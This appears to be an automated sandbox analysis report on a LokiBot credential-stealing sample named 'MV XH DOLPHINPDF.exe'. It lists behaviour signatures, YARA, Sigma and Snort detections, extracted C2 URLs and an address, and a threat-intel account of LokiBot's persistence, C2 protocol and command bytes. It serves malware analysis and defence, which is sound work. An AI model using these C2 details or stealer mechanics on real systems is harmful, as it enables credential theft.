Edit tour

Windows Analysis Report
MV XH DOLPHINPDF.exe

Overview

General Information

Sample name:	MV XH DOLPHINPDF.exe
Analysis ID:	1447784
MD5:	e3d3d93759a0552c63ec2c3ccbf6c383
SHA1:	cfa0d6279822bc75a22e54e3dcb6e378a0772605
SHA256:	31607008c03354cf7b6b21d8d3ecc31186e39a92dca54c0c26c30ecd85957cec
Tags:	exeLoki
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Lokibot

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Maps a DLL or memory area into another process

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Tries to steal Mail credentials (via file registry)

Writes to foreign memory regions

Yara detected aPLib compressed binary

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

MV XH DOLPHINPDF.exe (PID: 3060 cmdline: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe" MD5: E3D3D93759A0552C63EC2C3CCBF6C383)

svchost.exe (PID: 5504 cmdline: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "\u0097\u008b\u008b\u008f\u008c\u00c5\u00d0\u00d0\u009a\u009b\u0098\u009a\u0088\u009a\u0093\u0093\u00d1\u009c\u009e\u0092\u00d0\u00bb\u00a9\u00cd\u00d0\u00af\u00a8\u00ac\u00d0\u0099\u008d\u009a\u00d1\u008f\u0097\u008f"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000002.00000002.3213312503.0000000003228000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
Process Memory Space: MV XH DOLPHINPDF.exe PID: 3060	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: MV XH DOLPHINPDF.exe PID: 3060	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: MV XH DOLPHINPDF.exe PID: 3060	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x142136:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: svchost.exe PID: 5504	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: svchost.exe PID: 5504	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: svchost.exe PID: 5504	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
Process Memory Space: svchost.exe PID: 5504	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x6b62d:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
2.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
2.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.svchost.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
2.2.svchost.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
2.2.svchost.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
2.2.svchost.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
2.2.svchost.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
2.2.svchost.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
2.2.svchost.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
2.2.svchost.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.svchost.exe.400000.0.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
2.2.svchost.exe.400000.0.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
2.2.svchost.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
2.2.svchost.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
2.2.svchost.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
Click to see the 24 entries

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", CommandLine: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", CommandLine|base64offset|contains: \, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", ParentImage: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe, ParentProcessId: 3060, ParentProcessName: MV XH DOLPHINPDF.exe, ProcessCommandLine: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", ProcessId: 5504, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", CommandLine: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", CommandLine|base64offset|contains: \, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", ParentImage: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe, ParentProcessId: 3060, ParentProcessName: MV XH DOLPHINPDF.exe, ProcessCommandLine: "C:\Users\user\Desktop\MV XH DOLPHINPDF.exe", ProcessId: 5504, ProcessName: svchost.exe

Snort Signatures

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:09.186594
SID:	2024318
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:42.432686
SID:	2024318
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:11.985959
SID:	2024313
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:09.186594
SID:	2024313
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:39.855398
SID:	2021641
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:09.229387
SID:	2021641
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:53.803473
SID:	2025381
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:25.471357
SID:	2025381
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:37.210299
SID:	2021641
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.993699
SID:	2825766
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:42.432686
SID:	2024313
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:27.314357
SID:	2025381
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:02.822734
SID:	2825766
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:03.699908
SID:	2021641
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:06.518525
SID:	2024313
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:11.985959
SID:	2024318
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:21.327353
SID:	2025381
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:06.518525
SID:	2024318
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:53.747051
SID:	2025381
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:12.795525
SID:	2825766
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:07.399031
SID:	2825766
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:05.187815
SID:	2025381
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:10.970619
SID:	2825766
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:32.850963
SID:	2021641
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:43.888980
SID:	2024318
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.936240
SID:	2021641
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:43.888980
SID:	2024313
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:36.335492
SID:	2825766
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:18.265929
SID:	2024313
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:35.485663
SID:	2024313
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

